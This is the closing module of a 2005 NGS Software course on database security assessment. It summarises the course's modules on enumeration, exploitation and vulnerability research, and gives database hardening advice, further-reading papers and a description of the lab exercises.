breadth of attacks available.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

176

Module 10: Course Conclusions & More FUN!!

Course Conclusions & More FUN!!

Module Abstract
The final course module is designed to provide a fitting end by summarising what we have
learnt and provide the opportunity to take part in further practical exercises. It is hoped
that the course has been enjoyable and fulfilling for each student and that the foundations
for good database assessment practice has been conveyed.
Good database assessment breeds good overall database security and its this goal that
will strengthen the notorious classic weak points within your network infrastructure.

Module Overview
This course module consists of the following topics:

Advanced Database Security Assessment: Course Summary

Lessons Learned General Database Security Tips

Recommended Further Reading

End of Course Practical Exercises

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

177

Module 10: Course Conclusions & More FUN!!

Advanced Database Security Assessment: Course Summary


Summary
The modules taught on this course can be summarised as follows.

Module 1: Fundamental Database Concepts


Like any subject, to make progress with database security it is necessary to start with the
basic fundamental concepts before tackling any tough or involved aspects.
This module introduces databases and Relational Database Management Systems to
pave the way for further modules. Core database components were outlined to provide a
simplistic architectural overview that applies to general database systems regardless of
vendor implementation. Real world uses were discussed and a security model is defined
to relate databases to regular IT principles.
The fundamental requirements for an RDBMS were discussed in this module and are
summarised here:

Transactional integrity (ACID compliance)

Relational Integrity between tables and data

The ability to be queried remotely (e.g. through SQL)

An Enterprise database must fulfil other enterprise requirements:

Database Authentication and an internal privilege model to protect data

Internal functions and stored procedures

Views, to filter and organise data for database users

Triggers to automate actions within the database.

Integration with other elements on the network, supporting client access through
programming APIs.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

178

Module 10: Course Conclusions & More FUN!!

These enterprise requirements are what make databases available in a number of


business scenarios, as the server in a 2-tier system, or as a data repository in a 3-tier
environment. Cut-down versions are often seen used in desktop software and simple data
sets.

Module 2: Popular Industry Database Solutions


Once familiar with the basic concepts of database technology it is necessary to examine
the leading database solutions available from commercial vendors and public open source
projects. A modern network environment will likely contain many different types of
database system each with differing characteristics and general uses.
This module outlines the most popular industry database systems encountered during
security consultancy, across diverse business sectors and industries.
According to research done by the IDC, Oracle databases currently hold 41% of the
database market, followed by a 30% share for IBM's DB2 and an 13% share for
Microsoft's SQL Server. Sybase comes fourth with a market share of 3%.
All databases seen have had very disparate security histories. This is attributed to their
differing market shares and position within networks; the security community has focussed
on Microsofts SQL server (probably due to its marketing position) and Oracle (due to its
market share). DB2, meanwhile, has been largely overlooked, as it exists mostly deep
within IBM-centric corporate networks to which the security community has not been
exposed.

Module 3: Database Integration into Business Solutions


The integration of a database into a network can affect the process of database security
assessment or taint the results and overall outcome. Considerations made during the
installation of the Operating System and database product can provide a more secure
platform for deployment. Application and usability requirements will affect the choice of
connectivity and communication endpoints used by a database and in turn affect the
choice of assessment techniques.
This module describes the integration decisions faced by system architects and database
administrators, outlining areas that can affect the process of database security
assessment.
This module covers common considerations and requirements for databases in a business
network. As databases move into the category of network Swiss Army Knife, more and
more functionality is available.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

179

Module 10: Course Conclusions & More FUN!!

Module 4: Building a Database Assessment Toolkit


Like any job we can approach database assessment unprepared and without the right
tools but we will generally not expect to achieve very much. Some aspects of database
assessment require only the regular tools and utilities used by network hackers the world
over. However, in many cases, it pays to have specific resources to achieve our goals
and in some circumstances, specific drivers or utilities are mandatory for connection to a
database system. Database enumeration and vulnerability assessment tools have been
developed within the commercial and open source / freeware sectors to enhance database
assessment productivity.
This module outlines key utilities to build an effective database assessment toolkit and
provide insightful powerful techniques that can save time and effort along the way.
In this module we see the types of tools and resources that should be selected for a good
database assessment toolkit. This module is by no means exclusive but rather represents
key applications and tools that should be considered. The following areas have been
discussed during this module:

General vulnerability assessment tools that can be useful during database


assessment, such as Nessus and NGSs Typhon III.

Tools that have been created to enumerate information from weak and default
database installations.

Specific database scanners are available to locate known database vulnerabilities.

Client drivers and utilities are essential for querying vendor database installations.

Using offline and local databases for database assessment.

Module 5: Unauthenticated Database Enumeration


Finding database flaws and exploiting vulnerabilities is not possible without first locating a
likely target and gathering simple data from the database instance. Whilst it is true that
enumeration of data and potential vulnerabilities is easier with credentials, it is often
revealing to discover what an unauthenticated attacker can unearth. Most database
systems have methods for enumerating sensitive host and database information without
the need for credentials, or indeed ways of discovering valid credentials for an attacker to
use to progress further into the database.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

180

Module 10: Course Conclusions & More FUN!!

This module will demonstrate the tools and techniques used to discover databases within
a network environment and enumerate sensitive information to further progress an attack.
In this module we see that a great deal of information can be gathered from the majority
of databases in use and under assessment within modern networking environments
without the use of database credentials. The following has been covered by Module 5:
Unauthenticated Database Enumeration:

Using port scanners and signature checkers such as Nmap and Amap to establish
running database services within a network. Establishing database services that
are listening on arbitrary non-default ports.

Issuing requests for information directly to the Oracle TNS Listener and returning
the remote Operating System type, database version, database instances / SID
and security settings.

The direct attack and exploitation of the Oracle TNS Listener using known
vulnerabilities and the possibility for host compromise using log file poisoning.

Discovering and enumerating data from IBM DB2 servers.

Sniffing version numbers and authentication data from network traffic.

Enumerating weak and default database credentials from IBM DB2, MySQL,
Microsoft SQL Server, Oracle and Sybase ASE.

Bypassing MySQL Authentication

Module 6: Authenticated Database Enumeration


To many people it may seem a fruitless or unrealistic endeavour to conduct database
assessment with valid credentials, since often having a database login will generally
provide full access to the database. Authenticated database assessment serves an
important purpose when analysing the security posture of a database installation. There
are many ways for an attacker to either gain valid credentials or execute queries against a
database without directly providing authentication or by exploiting default product
conditions (see module 5). Based upon this condition, it is invaluable to assess the attack
surface area of a database from an authenticated standpoint.
This module outlines the options available to an attacker that has obtained the ability to
run queries against a database. Understanding the potential dangers to the host and data
contained within the database will highlight any requirement for the hardening of
vulnerable or exposed areas.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

181

Module 10: Course Conclusions & More FUN!!

In this module we see the type of information a database assessment should check when
database credentials are either available or have been enumerated. The following
elements have been discussed:

Determining Database Users Using the enumerated or given credentials it is


invaluable to determine a full list of database users. This stage also generally
yields the user password hashes for later exercises.

Collating Database Resources Listing all database objects that have security
relevance is an invaluable exercise, determining tables, views Stored Procs etc.

Listing Database User Access Determining the level of access and permission
each database user has over the objects defined.

Finding Dangerous Default Content There are many resources within default
database installations that can be considered dangerous content or potentially
harmful should a malicious attacker gain access to it. Determining this content
and assessing its suitability for inclusion or omission is a vital part of the database
assessment.

Performing Password Audits Using the obtained user password hashes it is


important to run a password cracking exercise for a period of time to determine
weak password options.

Module 7: Identifying Database Vulnerabilities


Good enumeration of your database will reveal configuration errors and default content
that can lead to a compromise. Once enumeration has reached a satisfactory level, it is
possible to launch direct probes for specific known database vulnerabilities.
This module deals with the process of identifying database vulnerabilities that can lead to
compromise of the data , host or network integrity.
To assess databases, a purpose-built database vulnerability assessment tool is often
required. To locate databases, a user should set up their own port list.
Vulnerability Assessment tools excel in enumerating permissions and objects. For
confirmation of patch status, manual assessment is required (although a scanner will
generally guess correctly, there is a error margin of false positives, and possibly false
negatives)

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

182

Module 10: Course Conclusions & More FUN!!

In general, configuration and logic flaws within business logic are far more simple and
reliable escalation methods than exploiting a database vulnerability.

Module 8: Exploiting Vulnerabilities to Gain Control


Many people have utilised automated vulnerability scanners to find security vulnerabilities
within a networked host. However, in most cases the results returned to the user are not
clear, contain technical detail that the user does not understand or reflect false positives
inherent in the crudeness of the vulnerability checks. It generally, takes a level of
understanding to determine the actual risk to you and your organisation based upon what
the tool or low-level consultancy services are telling about the system.
This module aims to explain and demonstrate some of the most critical vulnerabilities that
exist within database systems that can allow an attacker to compromise the integrity of the
data of the hosting server itself.
In this module we see some of the critical vulnerabilities that exist within common
database solutions and the extent to which they can be used to leverage control. The
following elements have been covered:

Code injection within database resources that can lead to privilege escalation.

Reading from and writing to arbitrary files on the Operating System from within a
database.

Methods for breaking out of the database and attacking the server host and
network. This has included methods for building custom attack tools within Java,
T-SQL and JSQL.

Older, classic vulnerabilities associated with temporary stored procedures and the
SQL Server Agent have been discussed to represent areas that are still
overlooked within products.

Serious buffer overrun conditions have been discussed showing the critical nature
of remote unauthenticated command execution within databases and Operating
Systems.

Advanced compromise techniques have been touched upon, discussing the


methods for Rootkits and Runtime Patching.

This module is designed to be in no way exhaustive and instead is representative of the


types of vulnerabilities researchers are discovering on a regular basis.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

183

Module 10: Course Conclusions & More FUN!!

Module 9: Researching Database Vulnerabilities


So far the course has discussed methods of exploiting databases through known flaws
and common configuration weaknesses. This module instead attempts to show where
databases are generically vulnerable, and where future vulnerabilities are likely to be
found. It also provides readers with guidelines in finding new vulnerabilities.
For DBAs and network administrators, the main interest will be in finding vulnerabilities
within an existing system. This module touches on vulnerability assessment for a specific
installation, and may help uncover fundamental flaws in the implementation.
In most client-server models, finding a new vulnerability is often simply a matter of reverse
engineering the client application; many of the controls are often built into the client in the
form of greyed-out boxes and otherwise protected modules (e.g. disabled buttons).
In finding new vulnerabilities in a database product, the reader should now have a strong
indication of how to research these. The following notes highlight the main points:

Many vulnerabilities recur in some form, particularly if the underlying code is old,
or deeply integrated into the system.

Very often, vulnerabilities are related, or are a subset of a fundamental effect. If a


researcher can identify a fundamental issue, more vulnerabilities can be derived.

Common causes of vulnerability are well known; these should be tested for in
research.

Additionally, the module outlines a toolset for research. This includes:

System monitoring tools (Filemon, Regmon, LSOF, Netstat, fuser)

Fuzzing tools (e.g. Spike)

Traffic capturing tools (e.g. Ethereal)

Debugging tools (WinDbg, GDB, OllyDbg)

Some more unusual vulnerabilities are also identified in the module to illustrate the
breadth of attacks available.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

184

Module 10: Course Conclusions & More FUN!!

Module 10: Course Conclusions & More FUN!!


The final course module is designed to provide a fitting end by summarising what we have
learnt and provide the opportunity to take part in further practical exercises. It is hoped
that the course has been enjoyable and fulfilling for each student and that the foundations
for good database assessment practice has been conveyed.
Good database assessment breeds good overall database security and its this goal that
will strengthen the notorious classic weak points within your network infrastructure.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

185

Module 10: Course Conclusions & More FUN!!

Lessons Learned General Database Security Tips


The teachings of this course have allowed us to look at database vulnerabilities from an
attackers perspective and mirrored as a framework for effective database assessment.
Based upon this it is possible to summarise general database security best practice areas
that could be built into company hardening guides.

Patching Your Database


It is essential that all database patches are applied with the frequency that is now
becoming common place for Operating System counterparts. It is vital that for a database
administrator to be familiar with the patching schedule of a database vendor and the form
the patch generally takes. The following URLs are for the support web sites associated
with each database discussed during this course:
Oracle
http://www.oracle.com/technology/deploy/security/alerts.htm
Microsoft SQL Server
http://www.microsoft.com/sql/support/default.mspx
Sybase ASE
http://www.sybase.com/products/informationmanagement/adaptiveserverenterprise
IBM DB2
http://www-306.ibm.com/software/data/db2/udb/support/
MySQL
http://www.mysql.com/support/

Removing Default Authentication Insecurities


As we have seen, most databases under assessment suffer from poor default
authentication options. This can be a large number of default users or weak and blank
installation passwords. All default accounts should be audited at the time of installation to
ensure that unused accounts are removed and user passwords are set sufficiently long
and complex. If your company / corporation has a password complexity policy, review the
suitability of applying this to the database installation.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

186

Module 10: Course Conclusions & More FUN!!

Tightening the User Privilege Model


Database object permissions are generally reliant upon group and role membership for
individual database users. This is both set as default at installation and applied by the
DBA during normal administration activities. The User Privilege Model for all database
objects should be reviewed and set to the least permissive options available, without
compromising business functionality.

Securing Default Content and Configurations


Database resources that are not intended for business functionality and cannot be
foreseen as useful should be removed this is especially true for packages and
procedures that are known to contain security issues or have useful connections to
malicious activity. In many cases, when injection or overflow flaws are discovered within
database resources they are fixed by patches and updates. However, as a general rule of
thumb it is suggested that all content not required for core database business functionality
is removed from the production installation.

Secure Database Development


DBAs like to write code! Its a proven fact that any DBA worth the title will be in the habit
of writing custom procedures and packages, even if they hate it its often unavoidable in
order to achieve business requirements. It is important that in the cases of custom
database development that secure coding practices are adhered to. As we have seen
within this course, database resource often fall foul to injection and overflow vulnerabilities.
DBAs and dedicated database developers should have the code reviewed to ensure that
these dangers are not introduced.

Analysing Client Security & Network Integration


Any component that communicates with the database should be considered a client within
this model and the physical network of the database should be considered the connectivity
architecture. It is important that security concerns external to the database are given a
thorough assessment so as not to introduced potential vulnerabilities to the database.
Web applications should contain adequate input validation checks to prevent SQL
Injection attack vectors and network transport should be over encrypted medium wherever
possible.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

187

Module 10: Course Conclusions & More FUN!!

Recommended Further Reading


In addition to the resource presented by this course the following items are suggested to
further database security and assessment knowledge:
Advanced SQL Injection
Chris Anley NGS Software
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
[more] Advanced SQL Injection
Chris Anley NGS Software
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
Hackproofing Oracle Application Server
David Litchfield NGS Software
http://www.ngssoftware.com/papers/hpoas.pdf
Violating Database Enforced Security Mechanisms
Chris Anley NGS Software
http://www.ngssoftware.com/papers/violating_database_security.pdf
Microsoft SQL Server Passwords
David Litchfield NGS Software
http://www.ngssoftware.com/papers/cracking-sql-passwords.pdf
Threat Profiling Microsoft SQL Server
David Litchfield NGS Software
http://www.ngssoftware.com/papers/tp-SQL2000.pdf
Hackproofing MySQL
Chris Anley NGS Software
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
Database Rootkits
Alexander Kornbrust Red Database Security
http://www.red-database-security.com/wp/db_rootkits_us.pdf

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

188

Module 10: Course Conclusions & More FUN!!

End of Course Practical Exercises


Opportunity has been provisioned for course delegates to take part in End of Course
Practical Exercises. Your course instructors will give you the choice of further practicing
the skills you have learnt during this training, or watching / taking part in a separate
demonstration.
This portion of the training course is designed to be flexible and tailored to meet the
requirements of the students and the remaining time available. The goals for this session
are as follows:

Identify Database Installations within a Lab Network Environment

Enumerate data, including authentication credentials from the installation

Detect known database vulnerabilities

Exploit database vulnerabilities to attempt server / network compromise

Experience further database research and bug finding techniques

All resources and guidance required will be provided by your course instructors and
individual help is available. The main objective is to bring together all of the skills that
have been taught during this course to attempt to solidify a core database assessment
methodology and above all, HAVE FUN!!

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

189

You might also like